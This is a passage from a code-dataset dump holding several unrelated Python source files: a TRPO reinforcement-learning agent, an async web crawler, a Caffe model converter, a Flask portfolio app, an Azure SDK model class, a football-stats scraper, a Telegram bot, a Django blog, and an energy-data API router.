representation_net=self._representation_net,\r\n policy_net_type=OutputNetworkType.ACTOR_DCT,\r\n policy_net_kwargs=dict(output_shape=self.a_dim,\r\n network_settings=network_settings['actor_discrete']),\r\n value_net_type=OutputNetworkType.CRITIC_VALUE,\r\n value_net_kwargs=dict(network_settings=network_settings['critic'])\r\n )\r\n\r\n self.critic_lr = self.init_lr(critic_lr)\r\n self.optimizer_critic = self.init_optimizer(self.critic_lr)\r\n\r\n if self.is_continuous:\r\n self.initialize_data_buffer(store_data_type=TRPO_Store_BatchExperiences_CTS,\r\n sample_data_type=TRPO_Train_BatchExperiences_CTS)\r\n else:\r\n self.initialize_data_buffer(store_data_type=TRPO_Store_BatchExperiences_DCT,\r\n sample_data_type=TRPO_Train_BatchExperiences_DCT)\r\n\r\n self._worker_params_dict.update(self.net._policy_models)\r\n\r\n self._all_params_dict.update(self.net._all_models)\r\n self._all_params_dict.update(optimizer_critic=self.optimizer_critic)\r\n self._model_post_process()\r\n\r\n def choose_action(self, obs, evaluation=False):\r\n a, _v, _lp, _morlpa, self.next_cell_state = self._get_action(obs, self.cell_state)\r\n a = a.numpy()\r\n self._value = _v.numpy()\r\n self._log_prob = _lp.numpy() + 1e-10\r\n if self.is_continuous:\r\n self._mu = _morlpa[0].numpy()\r\n self._log_std = _morlpa[1].numpy()\r\n else:\r\n self._logp_all = _morlpa.numpy()\r\n return a\r\n\r\n @tf.function\r\n def _get_action(self, obs, cell_state):\r\n with tf.device(self.device):\r\n feat, cell_state = self._representation_net(obs, cell_state=cell_state)\r\n value = self.net.value_net(feat)\r\n output = self.net.policy_net(feat)\r\n if self.is_continuous:\r\n mu, log_std = output\r\n sample_op, _ = gaussian_clip_rsample(mu, log_std)\r\n log_prob = gaussian_likelihood_sum(sample_op, mu, log_std)\r\n return sample_op, value, log_prob, (mu, log_std), cell_state\r\n else:\r\n logits = output\r\n logp_all = tf.nn.log_softmax(logits)\r\n norm_dist = tfp.distributions.Categorical(logits=logp_all)\r\n sample_op = norm_dist.sample()\r\n log_prob = norm_dist.log_prob(sample_op)\r\n return sample_op, value, log_prob, logp_all, cell_state\r\n\r\n def store_data(self, exps: BatchExperiences):\r\n # self._running_average()\r\n\r\n if self.is_continuous:\r\n self.data.add(TRPO_Store_BatchExperiences_CTS(*exps, self._value, self._log_prob, self._mu, self._log_std))\r\n else:\r\n self.data.add(TRPO_Store_BatchExperiences_DCT(*exps, self._value, self._log_prob, self._logp_all))\r\n if self.use_rnn:\r\n self.data.add_cell_state(tuple(cs.numpy() for cs in self.cell_state))\r\n self.cell_state = self.next_cell_state\r\n\r\n @tf.function\r\n def _get_value(self, obs, cell_state):\r\n with tf.device(self.device):\r\n feat, cell_state = self._representation_net(obs, cell_state=cell_state)\r\n value = self.net.value_net(feat)\r\n return value, cell_state\r\n\r\n def calculate_statistics(self):\r\n init_value, self.cell_state = self._get_value(self.data.last_data('obs_'), cell_state=self.cell_state)\r\n init_value = init_value.numpy()\r\n self.data.cal_dc_r(self.gamma, init_value)\r\n self.data.cal_td_error(self.gamma, init_value)\r\n self.data.cal_gae_adv(self.lambda_, self.gamma)\r\n\r\n def learn(self, **kwargs):\r\n self.train_step = kwargs.get('train_step')\r\n\r\n def _train(data, cell_state):\r\n actor_loss, entropy, gradients = self.train_actor(data, cell_state)\r\n\r\n x = self.cg(self.Hx, gradients.numpy(), data, cell_state)\r\n x = tf.convert_to_tensor(x)\r\n alpha = np.sqrt(2 * self.delta / (np.dot(x, self.Hx(x, data, cell_state)) + 1e-8))\r\n for i in range(self.backtrack_iters):\r\n assign_params_from_flat(alpha * x * (self.backtrack_coeff ** i), self.net.actor_trainable_variables)\r\n\r\n for _ in range(self.train_v_iters):\r\n critic_loss = self.train_critic(data, cell_state)\r\n\r\n summaries = dict([\r\n ['LOSS/actor_loss', actor_loss],\r\n ['LOSS/critic_loss', critic_loss],\r\n ['Statistics/entropy', entropy]\r\n ])\r\n return summaries\r\n\r\n self._learn(function_dict={\r\n 'calculate_statistics': self.calculate_statistics,\r\n 'train_function': _train,\r\n 'summary_dict': dict([\r\n ['LEARNING_RATE/critic_lr', self.critic_lr(self.train_step)]\r\n ])\r\n })\r\n\r\n @tf.function\r\n def train_actor(self, BATCH, cell_state):\r\n with tf.device(self.device):\r\n with tf.GradientTape() as tape:\r\n output, _ = self.net(BATCH.obs, cell_state=cell_state)\r\n if self.is_continuous:\r\n mu, log_std = output\r\n new_log_prob = gaussian_likelihood_sum(BATCH.action, mu, log_std)\r\n entropy = gaussian_entropy(log_std)\r\n else:\r\n logits = output\r\n logp_all = tf.nn.log_softmax(logits)\r\n new_log_prob = tf.reduce_sum(BATCH.action * logp_all, axis=1, keepdims=True)\r\n entropy = -tf.reduce_mean(tf.reduce_sum(tf.exp(logp_all) * logp_all, axis=1, keepdims=True))\r\n ratio = tf.exp(new_log_prob - BATCH.log_prob)\r\n actor_loss = -tf.reduce_mean(ratio * BATCH.gae_adv)\r\n actor_grads = tape.gradient(actor_loss, self.net.actor_trainable_variables)\r\n gradients = flat_concat(actor_grads)\r\n self.global_step.assign_add(1)\r\n return actor_loss, entropy, gradients\r\n\r\n @tf.function\r\n def Hx(self, x, BATCH, cell_state):\r\n with tf.device(self.device):\r\n with tf.GradientTape(persistent=True) as tape:\r\n output, _ = self.net(BATCH.obs, cell_state=cell_state)\r\n if self.is_continuous:\r\n mu, log_std = output\r\n var0, var1 = tf.exp(2 * log_std), tf.exp(2 * BATCH.log_std)\r\n pre_sum = 0.5 * (((BATCH.mu - mu)**2 + var0) / (var1 + 1e-8) - 1) + BATCH.log_std - log_std\r\n all_kls = tf.reduce_sum(pre_sum, axis=1)\r\n kl = tf.reduce_mean(all_kls)\r\n else:\r\n logits = output\r\n logp_all = tf.nn.log_softmax(logits)\r\n all_kls = tf.reduce_sum(tf.exp(BATCH.logp_all) * (BATCH.logp_all - logp_all), axis=1)\r\n kl = tf.reduce_mean(all_kls)\r\n\r\n g = flat_concat(tape.gradient(kl, self.net.actor_trainable_variables))\r\n _g = tf.reduce_sum(g * x)\r\n hvp = flat_concat(tape.gradient(_g, self.net.actor_trainable_variables))\r\n if self.damping_coeff > 0:\r\n hvp += self.damping_coeff * x\r\n return hvp\r\n\r\n @tf.function\r\n def train_critic(self, BATCH, cell_state):\r\n with tf.device(self.device):\r\n with tf.GradientTape() as tape:\r\n feat, _ = self._representation_net(BATCH.obs, cell_state=cell_state)\r\n value = self.net.value_net(feat)\r\n td_error = BATCH.discounted_reward - value\r\n value_loss = tf.reduce_mean(tf.square(td_error))\r\n critic_grads = tape.gradient(value_loss, self.net.critic_trainable_variables)\r\n self.optimizer_critic.apply_gradients(\r\n zip(critic_grads, self.net.critic_trainable_variables)\r\n )\r\n return value_loss\r\n\r\n def cg(self, Ax, b, BATCH, cell_state):\r\n \"\"\"\r\n Conjugate gradient algorithm\r\n (see https://en.wikipedia.org/wiki/Conjugate_gradient_method)\r\n \"\"\"\r\n x = np.zeros_like(b)\r\n r = b.copy() # Note: should be 'b - Ax(x)', but for x=0, Ax(x)=0. Change if doing warm start.\r\n p = r.copy()\r\n r_dot_old = np.dot(r, r)\r\n for _ in range(self.cg_iters):\r\n z = Ax(tf.convert_to_tensor(p), BATCH, cell_state)\r\n alpha = r_dot_old / (np.dot(p, z) + 1e-8)\r\n x += alpha * p\r\n r -= alpha * z\r\n r_dot_new = np.dot(r, r)\r\n p = r + (r_dot_new / r_dot_old) * p\r\n r_dot_old = r_dot_new\r\n return x\r\n","sub_path":"rls/algos/single/trpo.py","file_name":"trpo.py","file_ext":"py","file_size_in_byte":12243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"250601636","text":"from typing import *\n\nimport asyncio\nimport aio_pika\n\nfrom settings import crawler_settings, elastic_settings, rabbit_settings\n\nfrom simple_fetcher import SimpleFetcherRPSC\nfrom obi_parser import ObiParser\nfrom elastic_saver import ElasticSaver\n\nfrom rabbit_wrappers import RabbitFetcherWrapper, RabbitSaverWrapper, ProductPublisher, make_publisher\n\nclass Crawler:\n def __init__(\n self,\n domain_name: str,\n rabbit_connection: aio_pika.RobustConnection,\n rps: int = 1,\n elastic_host: str = \"localhost\",\n elastic_port: int = 9200,\n fetchers: int = 1,\n parser_publishers: int = 1,\n savers: int = 1,\n visited_urls_max: int = None,\n ):\n self.domain_name = domain_name\n self.rps = rps\n self.fetchers = fetchers\n self.parser_publishers = parser_publishers\n self.elastic_host = elastic_host\n self.elastic_port = elastic_port\n self.savers = savers\n self.visited_urls_max = visited_urls_max\n\n self.connection = rabbit_connection\n self.visited_urls = []\n\n def cleanse_links(self, links: List[str]):\n indomain_urls = list(filter(\n lambda url: url and \\\n url not in self.visited_urls \\\n and self.domain_name in url,\n links\n ))\n\n self.visited_urls += indomain_urls\n if len(self.visited_urls) > self.visited_urls_max:\n print('exceeded max visited urls')\n self.visited_urls = self.visited_urls[len(self.visited_urls)//2:-1]\n return indomain_urls\n\n async def go(self):\n\n channel = await self.connection.channel()\n await channel.set_qos(prefetch_count=1)\n html_queue = asyncio.Queue(20)\n\n publisher = await make_publisher(channel, 'test_links', 'test_products')\n await publisher.publish_links(['https://' + self.domain_name])\n\n fetcher = SimpleFetcherRPSC().set_rps(self.rps)\n await fetcher.initialize()\n fetcher_wrapper = RabbitFetcherWrapper(fetcher, html_queue)\n\n fetcher_workers = []\n for _ in range(self.fetchers):\n fetcher_workers.append(await fetcher_wrapper.ready(channel, 'test_links', durable=True))\n print('created fetcher')\n\n parser = ObiParser()\n print('created parser')\n\n publisher_workers = []\n for _ in range(self.parser_publishers):\n publisher = await make_publisher(channel, 'test_links', 'test_products')\n\n async def parser_publisher():\n while True:\n url, html = await html_queue.get()\n\n parse_result = parser.parse(url, html)\n links = self.cleanse_links(parse_result.links)\n\n await publisher.publish_links(links)\n if parse_result.product:\n await publisher.publish_product(parse_result.product)\n\n publisher_workers.append(parser_publisher)\n print('created parser_publisher worker')\n\n saver = RabbitSaverWrapper(\n saver=ElasticSaver(host=self.elastic_host, port=self.elastic_port),\n )\n\n saver_workers = []\n for _ in range(self.savers):\n saver_worker = await saver.ready(channel, 'test_products', durable=True)\n print('created saver')\n saver_workers.append(saver_worker)\n\n workers = fetcher_workers + publisher_workers + saver_workers\n await asyncio.gather(\n *[worker() for worker in workers]\n )\n\n\nasync def main(loop):\n await asyncio.sleep(20)\n connection = await aio_pika.connect(**rabbit_settings, loop=loop)\n\n c = Crawler(**crawler_settings, **elastic_settings, rabbit_connection=connection)\n await c.go()\n\n await connection.close()\n\nif __name__ == \"__main__\":\n loop = asyncio.get_event_loop()\n try:\n loop.run_until_complete(main(loop))\n except KeyboardInterrupt:\n print(\"Received exit, exiting\")\n","sub_path":"crawler/crawler.py","file_name":"crawler.py","file_ext":"py","file_size_in_byte":4000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"295123199","text":"import os\nimport sys\nimport argparse\nfrom math import sqrt\nfrom tools_utils import download, check\nimport numpy as np\n\ncaffe_models = {\n 'alexnet': (\n 'http://www.cs.toronto.edu/~guerzhoy/tf_alexnet/bvlc_alexnet.npy',\n 'bvlc_alexnet.npy',\n '../models/caffe_alexnet.pkl',\n 256 # First fc input channel size\n )\n}\n\n\ndef extract_model(input, output, first_fc_in):\n input_data = np.load(input, encoding='latin1')\n param_dict = input_data.item()\n os.environ['GLOG_minloglevel'] = '2'\n import pickle\n model = {}\n first_conv, first_fc = True, True\n for name in sorted(param_dict):\n params = param_dict[name]\n if name.startswith('fc'):\n model[name + '/weight'] = params[0]\n if len(params) > 1:\n model[name + '/bias'] = params[1]\n elif name.startswith('conv') or name.startswith('res'):\n if first_conv:\n # kernel: w x h x in_c x out_c, since this model is based on BGR, we convert it to RGB\n model[name + '/weight'] = params[0][:, :, ::-1, :] # [a:b:step] start from a to b with step\n first_conv = False\n else:\n model[name + '/weight'] = params[0]\n if len(params) > 1:\n model[name + '/bias'] = params[1]\n elif name.startswith('bn'):\n model[name + '/running_mean'] = params[0]\n model[name + '/running_var'] = params[1]\n # Unknown params[2].data\n elif name.startswith('scale'):\n model[name + '/weight'] = params[0]\n model[name + '/bias'] = params[1]\n else:\n print('Unknown layer: %s %s' % (name, ' '.join([str(param.shape) for param in params])), file=sys.stderr)\n pickle.dump(model, open(output, 'wb'), protocol=2)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description='Download trained Caffe model and convert it to NumPy pickle')\n parser.add_argument('--npy', dest='input', type=str, default='', help='input .npy path')\n parser.add_argument('-o', dest='output', type=str, default='', help='save NumPy pickle to this path')\n parser.add_argument('-m', dest='model', type=str, choices=list(caffe_models.keys()),\n default='alexnet', help='Model to download')\n args = parser.parse_args()\n if len(args.output) == 0:\n args.output = os.path.join(os.path.dirname(__file__), caffe_models[args.model][2])\n if len(args.input) == 0:\n args.input = os.path.join(os.path.dirname(__file__), caffe_models[args.model][1])\n\n if not os.path.exists(args.input):\n print('Downloading npy...')\n download(args.input, caffe_models[args.model][0])\n\n print('Extracting model...')\n extract_model(args.input, args.output, caffe_models[args.model][3])\n","sub_path":"tools/download_model_from_caffe.py","file_name":"download_model_from_caffe.py","file_ext":"py","file_size_in_byte":2825,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"594334133","text":"from flask import Flask, render_template, request, send_file\nfrom bd import bd\nfrom models.usuario import UsuarioModel\nfrom models.contacto import ContactoModel\nfrom models.proyecto import ProyectoModel\nfrom models.redsocial import RedSocialModel\nimport os\nfrom werkzeug.utils import secure_filename\nfrom datetime import datetime\n\nFOLDER_MULTIMEDIA = 'media'\n\napp = Flask(__name__)\napp.config['SQLALCHEMY_DATABASE_URI'] = 'mysql://root:123456@localhost/portafolioflask'\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\napp.config['UPLOAD_FOLDER'] = FOLDER_MULTIMEDIA\n\n# para pasar variables de mi funcion a mi HTML, uso en mi html {{variable}}\n# para usar statements, como por ejemplo un for, un bloque u otros, se usa:\n# {% template_tag %} ...\n# {% fin_template_tag %}\n\n\n@app.before_first_request\ndef creacion_tablas():\n bd.init_app(app)\n bd.create_all(app=app)\n\n\n@app.route('/')\ndef pagina_principal():\n usuario = UsuarioModel.query.first()\n arreglo = usuario.usu_titulos.split(\",\")\n print(usuario.usu_nom)\n return render_template('index.html', usuario=usuario, arreglo=arreglo)\n\n\n@app.route('/proyectos')\ndef proyectos():\n # mis_proyectos = ['Proyecto1', 'Proyecto2', 'Proyecto3', 'Proyecto4']\n usuario = UsuarioModel.query.first()\n return render_template('proyectos.html', usuario=usuario)\n\n\n# @app.route('/contact')\n# def contactame():\n# return render_template('contact-me.html')\n\n\n@app.route('/contact', methods=['GET', 'POST'])\ndef contactame():\n if request.method == 'GET':\n print(\"HOLA, SOY GET\")\n return render_template('contact-me.html')\n if request.method == 'POST':\n result = request.form\n print(\"HOLA\")\n\n\n\n@app.route('/subirArchivo', methods=['POST'])\ndef subir_archivo():\n print(request.files)\n if 'imagen' not in request.files:\n return 'No has enviado ningun archivo'\n\n archivo = request.files['imagen']\n\n if archivo.filename == '':\n return 'No hay ningun archivo en la llave imagen'\n\n # para evitar que el mismo usuario u otro usuario ingrese otro archivo, pero con un mismo nombre que ya esta en el servidor,\n # se agrega la fecha actual\n print(datetime.now().timestamp())\n fecha = str(datetime.now().timestamp()).replace(\".\", \"\")\n print(fecha)\n nombreModificado = fecha + '-' + archivo.filename\n filename = secure_filename(nombreModificado)\n print(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n archivo.save(os.path.join(app.config['UPLOAD_FOLDER'], filename))\n # que faltaria para agregar esa direccion de la imagen a mi proyecto\n return 'se guardó'\n\n\n@app.route('/devolverImagen/')\ndef devolver_imagen(nombre):\n try:\n return send_file(os.path.join(app.config['UPLOAD_FOLDER'], nombre))\n except:\n return send_file(os.path.join(app.config['UPLOAD_FOLDER'], 'default.png'))\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","sub_path":"Semana4/dia2/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":2912,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"603270526","text":"# coding=utf-8\n# --------------------------------------------------------------------------\n# Copyright (c) Microsoft Corporation. All rights reserved.\n# Licensed under the MIT License. See License.txt in the project root for\n# license information.\n#\n# Code generated by Microsoft (R) AutoRest Code Generator.\n# Changes may cause incorrect behavior and will be lost if the code is\n# regenerated.\n# --------------------------------------------------------------------------\n\nfrom msrest.serialization import Model\n\n\nclass Endpoint(Model):\n \"\"\"Class representing a Traffic Manager endpoint.\n\n :param id: Gets or sets the ID of the Traffic Manager endpoint.\n :type id: str\n :param name: Gets or sets the name of the Traffic Manager endpoint.\n :type name: str\n :param type: Gets or sets the endpoint type of the Traffic Manager\n endpoint.\n :type type: str\n :param target_resource_id: Gets or sets the Azure Resource URI of the of\n the endpoint. Not applicable to endpoints of type 'ExternalEndpoints'.\n :type target_resource_id: str\n :param target: Gets or sets the fully-qualified DNS name of the endpoint.\n Traffic Manager returns this value in DNS responses to direct traffic\n to this endpoint.\n :type target: str\n :param endpoint_status: Gets or sets the status of the endpoint.. If the\n endpoint is Enabled, it is probed for endpoint health and is included in\n the traffic routing method. Possible values are 'Enabled' and\n 'Disabled'.\n :type endpoint_status: str\n :param weight: Gets or sets the weight of this endpoint when using the\n 'Weighted' traffic routing method. Possible values are from 1 to 1000.\n :type weight: long\n :param priority: Gets or sets the priority of this endpoint when using\n the ‘Priority’ traffic routing method. Possible values are from 1 to\n 1000, lower values represent higher priority. This is an optional\n parameter. If specified, it must be specified on all endpoints, and no\n two endpoints can share the same priority value.\n :type priority: long\n :param endpoint_location: Specifies the location of the external or\n nested endpoints when using the ‘Performance’ traffic routing method.\n :type endpoint_location: str\n :param endpoint_monitor_status: Gets or sets the monitoring status of the\n endpoint.\n :type endpoint_monitor_status: str\n :param min_child_endpoints: Gets or sets the minimum number of endpoints\n that must be available in the child profile in order for the parent\n profile to be considered available. Only applicable to endpoint of type\n 'NestedEndpoints'.\n :type min_child_endpoints: long\n \"\"\" \n\n _attribute_map = {\n 'id': {'key': 'id', 'type': 'str'},\n 'name': {'key': 'name', 'type': 'str'},\n 'type': {'key': 'type', 'type': 'str'},\n 'target_resource_id': {'key': 'properties.targetResourceId', 'type': 'str'},\n 'target': {'key': 'properties.target', 'type': 'str'},\n 'endpoint_status': {'key': 'properties.endpointStatus', 'type': 'str'},\n 'weight': {'key': 'properties.weight', 'type': 'long'},\n 'priority': {'key': 'properties.priority', 'type': 'long'},\n 'endpoint_location': {'key': 'properties.endpointLocation', 'type': 'str'},\n 'endpoint_monitor_status': {'key': 'properties.endpointMonitorStatus', 'type': 'str'},\n 'min_child_endpoints': {'key': 'properties.minChildEndpoints', 'type': 'long'},\n }\n\n def __init__(self, id=None, name=None, type=None, target_resource_id=None, target=None, endpoint_status=None, weight=None, priority=None, endpoint_location=None, endpoint_monitor_status=None, min_child_endpoints=None):\n self.id = id\n self.name = name\n self.type = type\n self.target_resource_id = target_resource_id\n self.target = target\n self.endpoint_status = endpoint_status\n self.weight = weight\n self.priority = priority\n self.endpoint_location = endpoint_location\n self.endpoint_monitor_status = endpoint_monitor_status\n self.min_child_endpoints = min_child_endpoints\n","sub_path":"azure-mgmt-trafficmanager/azure/mgmt/trafficmanager/models/endpoint.py","file_name":"endpoint.py","file_ext":"py","file_size_in_byte":4153,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"342317377","text":"# -*- coding: UTF-8 -*-\n# 500.com的爬虫接口--获取赛季总览部分 20170312 by XueHongyan\nfrom api_500_com import *\nimport sqlite3\n\nleagueName = '法甲' # 要提取的联赛简称\n\nconn = sqlite3.connect('data.db')\nc = conn.cursor()\nc.execute('''SELECT * FROM leagues''')\nleagues = c.fetchall() # 获取全部联赛\n\ntry:\n c.execute('''CREATE TABLE general(\n name TEXT,\n season INT,\n id INT,\n stages TEXT\n );\n ''')\n conn.commit()\nexcept:\n pass # 如果没有general表,则创建一个\n\nseasons = select(leagues, leagueName, 2003) # 筛选从2003赛季起的选定联赛\nfor season in seasons:\n dat = [leagueName, int(season[1][:4]), season[0],\n str(getStages(season[0]))] # 从联赛名中提取赛季,从id获取阶段\n c.execute('''INSERT OR REPLACE INTO general VALUES(\"{0[0]}\",{0[1]},{0[2]},\"{0[3]}\");'''.format(\n dat)) # 依次写入联赛名,赛季,联赛id和各阶段stid的字典\n print(dat)\n conn.commit() # 执行写入操作\n","sub_path":"500.com/getGeneral.py","file_name":"getGeneral.py","file_ext":"py","file_size_in_byte":1017,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"447454032","text":"import telebot\nfrom telebot import types\nfrom token_const import token\n\nbot = telebot.TeleBot(token) # token file ignored\n\n\n@bot.message_handler(commands=['start'])\n@bot.message_handler(func=lambda message: message.text == 'Главное меню✅')\ndef start(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('Расписание⏱', 'Контакты📞')\n markup.row('Справки📝', 'FAQ💡')\n bot.send_message(message.from_user.id,\n 'Приветствую, что тебя интересует?',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Расписание⏱')\ndef schedule(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('1 курс', '2 курс')\n markup.row('3 курс', '4 курс')\n markup.row('Главное меню✅')\n bot.send_message(message.from_user.id, 'Выбери курс',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Контакты📞')\ndef contacts(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('Деканат', 'Преподаватели')\n markup.row('Студ. Центр EnMan')\n markup.row('Главное меню✅')\n bot.send_message(message.from_user.id, 'С кем хотите связаться?',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Деканат')\ndef deanery(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('Серебреннико', 'Харитонов', 'Стуловский')\n markup.row('Мильчаков', 'Мурзагареев', 'Максименкова')\n markup.row('Алексеева', 'Фролова', 'Контакты📞')\n bot.send_message(message.from_user.id, 'Список деканата',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Преподаватели')\ndef teachers(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('Математика', 'Психология')\n markup.row('Философия', 'Экономическая теория')\n markup.row('Менеджмент', 'История', 'Английский')\n markup.row('Контакты📞')\n bot.send_message(message.from_user.id, 'Выбери предмет',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Справки📝')\ndef references(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('Заказать справку')\n markup.row('Справка об обучени')\n markup.row('Главное меню✅')\n bot.send_message(message.from_user.id, 'Доступные справки',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'FAQ💡')\ndef faq(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('О факультете', 'Для студента')\n markup.row('Для абитуриента')\n markup.row('Главное меню✅')\n bot.send_message(message.from_user.id, 'Что тебе инетерсно?',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Для студента')\ndef for_student(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('Как сделать справку для военкомата')\n markup.row('FAQ💡')\n bot.send_message(message.from_user.id, 'Вот руководства для студента',\n reply_markup=markup)\n\n\n@bot.message_handler(func=lambda message: message.text == 'Для абитуриента')\ndef for_student(message: types.Message):\n markup = types.ReplyKeyboardMarkup()\n markup.row('Какие документы нужны для поступления', 'Проходные баллы')\n markup.row('Какие предметы сдавать', 'FAQ💡')\n bot.send_message(message.from_user.id, 'Вот руководства для студента',\n reply_markup=markup)\n\n\n@bot.message_handler(content_types=['text'])\ndef echo_mes(message: types.Message):\n bot.send_message(message.from_user.id, 'Я не понимаю, что ты написал, попробуй еще раз.',\n reply_to_message_id=message.message_id)\n\n\nbot.polling(True)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4641,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"439259358","text":"# from django.http import HttpResponse\nfrom django.shortcuts import render, get_object_or_404, redirect\n\nfrom .models import Post, Tag\nfrom django.views.generic import View\nfrom .utils import ObjectDetailMixin, ObjectCreateMixin\nfrom .forms import TagForm, PostForm\n\n\n# Create your views here:\ndef posts_list(request):\n # return HttpResponse('

Hello, World from blog.views.py!

')\n posts = Post.objects.all()\n return render(request, 'blog/index.html', context={'posts': posts})\n \n \nclass PostDetail(ObjectDetailMixin, View):\n model = Post\n template = 'blog/post_detail.html'\n \n \nclass PostCreate(ObjectCreateMixin, View):\n model_form = PostForm\n template = 'blog/post_create_form.html'\n \n \nclass TagDetail(ObjectDetailMixin, View):\n model = Tag\n template = 'blog/tag_detail.html'\n \n \nclass TagCreate(ObjectCreateMixin, View):\n model_form = TagForm\n template = 'blog/tag_create.html'\n \n \ndef tags_list(request):\n tags = Tag.objects.all()\n return render(request, 'blog/tags_list.html', context={'tags': tags})","sub_path":"src/blog/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1081,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"220689888","text":"from datetime import datetime\nfrom typing import Any\n\nfrom fastapi import APIRouter, Depends, HTTPException\nfrom fastapi.param_functions import Query\nfrom starlette import status\nfrom starlette.status import HTTP_501_NOT_IMPLEMENTED\n\nfrom opennem.api.stats.router import (\n energy_network_fueltech_api,\n power_network_fueltech_api,\n price_network_region_api,\n)\nfrom opennem.api.stats.schema import OpennemDataSet\nfrom opennem.api.weather.router import station_observations_api\nfrom opennem.core.networks import network_from_network_code\nfrom opennem.db import get_database_engine\nfrom opennem.schema.network import NetworkSchema\n\nrouter = APIRouter()\n\nYEAR_CURRENT = datetime.now().date().year\n\n\n@router.get(\n \"/power/wem.json\",\n name=\"Network power\",\n response_model_exclude_unset=True,\n response_model=OpennemDataSet,\n)\ndef api_export_power_wem(\n engine: Any = Depends(get_database_engine),\n) -> OpennemDataSet:\n stats = power_network_fueltech_api(\n network_code=\"WEM\",\n network_region=\"WEM\",\n interval=\"30m\",\n period=\"7d\",\n engine=engine,\n )\n\n weather = station_observations_api(\n station_code=\"009021\",\n interval=\"30m\",\n period=\"7d\",\n network_code=\"WEM\",\n engine=engine,\n )\n\n price = price_network_region_api(\n engine=engine,\n network_code=\"WEM\",\n network_region_code=\"WEM\",\n interval=\"30m\",\n period=\"7d\",\n )\n\n # demand = wem_demand()\n\n stats.data = stats.data + price.data + weather.data\n\n return stats\n\n\n@router.get(\n \"/{network_code}/energy/daily/{year}.json\",\n name=\"Network energy by year\",\n response_model_exclude_unset=True,\n response_model=OpennemDataSet,\n)\ndef api_export_energy_year(\n engine: Any = Depends(get_database_engine),\n network_code: str = Query(\"WEM\", description=\"Network code\"),\n year: int = Query(YEAR_CURRENT, description=\"Year to query\"),\n) -> OpennemDataSet:\n if year > YEAR_CURRENT or year < 1996:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND, detail=\"Invalid year\"\n )\n\n network: NetworkSchema = network_from_network_code(network_code)\n\n if not network:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"Invalid network\",\n )\n\n stats = energy_network_fueltech_api(\n network_code=network.code,\n network_region=None,\n interval=\"1d\",\n year=year,\n period=\"1Y\",\n engine=engine,\n )\n\n weather = station_observations_api(\n station_code=\"009021\",\n interval=\"1d\",\n year=year,\n network_code=\"WEM\",\n engine=engine,\n period=None,\n )\n\n price = price_network_region_api(\n engine=engine,\n network_code=\"WEM\",\n network_region_code=\"WEM\",\n interval=\"1d\",\n period=None,\n year=year,\n )\n\n stats.data += weather.data + price.data\n\n return stats\n\n\n@router.get(\n \"/{network_code}/energy/monthly/{month}.json\",\n name=\"Network energy by month\",\n response_model_exclude_unset=True,\n response_model=OpennemDataSet,\n)\ndef api_export_energy_month(\n engine: Any = Depends(get_database_engine),\n network_code: str = Query(\"WEM\", description=\"Network code\"),\n month: str = Query(\"all\", description=\"Month to query\"),\n) -> OpennemDataSet:\n network: NetworkSchema = network_from_network_code(network_code)\n\n if month != \"all\":\n raise HTTPException(\n status_code=status.HTTP_501_NOT_IMPLEMENTED,\n detail=\"Other months not yet supported\",\n )\n\n if not network:\n raise HTTPException(\n status_code=status.HTTP_404_NOT_FOUND,\n detail=\"Invalid network\",\n )\n\n stats = energy_network_fueltech_api(\n network_code=network.code,\n period=\"all\",\n engine=engine,\n interval=\"1M\",\n network_region=None,\n )\n\n price = price_network_region_api(\n engine=engine,\n network_code=\"WEM\",\n network_region_code=\"WEM\",\n interval=\"1M\",\n period=\"all\",\n )\n stats.data += price.data\n\n return stats\n","sub_path":"opennem/api/export/router.py","file_name":"router.py","file_ext":"py","file_size_in_byte":4185,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"} +{"seq_id":"553872816","text":"#!/usr/bin/env python\n#\n# -----------------------------------------------------------------------------\n# Copyright (c) 2017 The Regents of the University of California\n#\n# This file is part of kevlar (http://github.com/dib-lab/kevlar) and is\n# licensed under the MIT license: see LICENSE.\n# -----------------------------------------------------------------------------\n\nimport pytest\nimport re\nimport shutil\nimport tempfile\nimport kevlar\nimport kevlar.__main__\n\n\n@pytest.mark.long\ndef test_trio2(capsys):\n from sys import stdout, stderr\n tempdir = tempfile.mkdtemp()\n novelouts = 